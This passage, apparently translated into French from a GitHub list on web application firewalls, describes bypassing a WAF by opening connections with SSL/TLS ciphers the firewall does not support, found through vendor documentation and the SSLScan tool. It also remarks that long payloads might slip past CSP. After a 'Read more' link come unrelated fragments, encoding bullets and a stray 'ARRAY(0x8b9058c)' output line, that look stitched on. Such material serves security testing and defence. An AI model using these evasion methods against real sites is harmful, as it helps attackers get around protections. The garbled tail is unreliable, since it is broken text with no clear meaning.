> Cependant, le problème de l'utilisation des structures syntaxiques ci-dessus est la longueur des charges utiles qui pourraient éventuellement être détectées par le WAF ou bloquées par le CSP. Cependant, on ne sait jamais, elles pourraient aussi contourner le CSP (s'il est présent). ;)

### Abus des chiffrements SSL/TLS :
- Souvent, les serveurs acceptent les connexions provenant de divers chiffrements et versions SSL/TLS.
- Utiliser un chiffrement pour initialiser une connexion à un serveur qui n'est pas pris en charge par le WAF peut faire notre travail.

#### Technique :
- Découvrir les chiffrements pris en charge par le pare-feu (généralement, la documentation du fournisseur du WAF en parle).
- Trouver les chiffrements pris en charge par le serveur (des outils comme [SSLScan](https://github.com/rbsec/sslscan) aident ici).

---

[Read more](https://github.com/0xinfection/awesome-waf)
  • Chaîne de requête dans son format d'origine (peut être encodée URL comme d'habitude).
  • Le corps peut être envoyé avec ou sans encodage URL.
  • Le signe égal et l'esperluette ne doivent être encodés d'aucune manière.
Un tableau est retourné
ARRAY(0x8b9058c)